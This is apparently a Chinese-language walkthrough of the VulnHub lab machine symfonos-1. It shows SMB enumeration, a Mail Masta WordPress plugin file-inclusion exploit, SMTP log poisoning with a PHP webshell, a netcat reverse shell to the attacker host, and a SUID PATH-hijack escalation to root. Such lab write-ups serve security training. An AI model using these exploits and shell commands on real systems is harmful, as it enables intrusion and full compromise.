symfonos系列打靶-1

环境

靶机地址 https://www.vulnhub.com/entry/symfonos-1,322/

信息收集

探测存活ip

对靶机进行详细扫描

开放了smb服务,跑一下smb服务探测工具

1
enum4linux 192.168.31.217

扫出一个anonymous可访问

1
2
3
smbclient //192.168.31.217/anonymous -U % N
这里 -U 表示用户名,% 表示用户名。
参数 -N 用于空密码

发现一个txt文件,下载下来看看

提示密码是这三个,结合上面smb信息收集的时候存在一个要密码的目录,爆破试试

1
2
smbclient //192.168.31.217/helios -U helios
密码为 qwerty

存在两个txt文件,下载下来

提示里似乎是一个目录

访问网站首页看看这个路径,成功跳转,但是有的css文件没加载出来,看到请求网址,修改host解析

1
echo "192.168.31.217 symfonos.local" >> /etc/hosts

web打点

WordPress,直接掏出wpscan,wpscan扫描漏洞需要token

1
wpscan --url http://symfonos.local/h3l105/ -e p --api-token xxxxxxx你的apitokenxxxx

扫出漏洞大多是xss,没什么用,但是存在一个文件包含

1
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

可以读文件,那么可以尝试密码找回,再去重置密码,账号为admin

读取邮件

1
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios

但是进入后台拿shell无果,尝试使用SMTP日志投毒配合LFI来进行RCE

SMTP日志投毒RCE

写入webshell

1
2
3
4
5
6
7
telnet 192.168.31.217 25
MAIL FROM: <test>
RCPT TO: Helios
data
<?php system($_GET['a']);?>
.
quit

配合文件包含来rce,访问

1
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&a=ip a 

成功执行命令

kali监听,访问

1
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&a=nc -nv 192.168.31.118 4444 -e /bin/bash

提权

python返回一个半交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

linux提权,suid sudo 内核

存在不常见suid文件

1
find / -perm -u=s -type f 2>/dev/null

用file命令查看文件类型

用strings打印一下他干了什么

似乎是一个发包器,用curl -I http://localhost 访问本地

这样的话,我们可以自定义一个curl文件,顶替掉原来的curl命令,用来反弹一个root权限的shell

1
2
3
4
5
6
cd /tmp
echo $'#!/bin/sh\n/bin/sh' > curl #写入反弹一个shell
chmod +x curl
export PATH=$(pwd):$PATH #构造临时环境变量,让statuscheck文件去执行我们创建的curl
/opt/statuscheck
whoami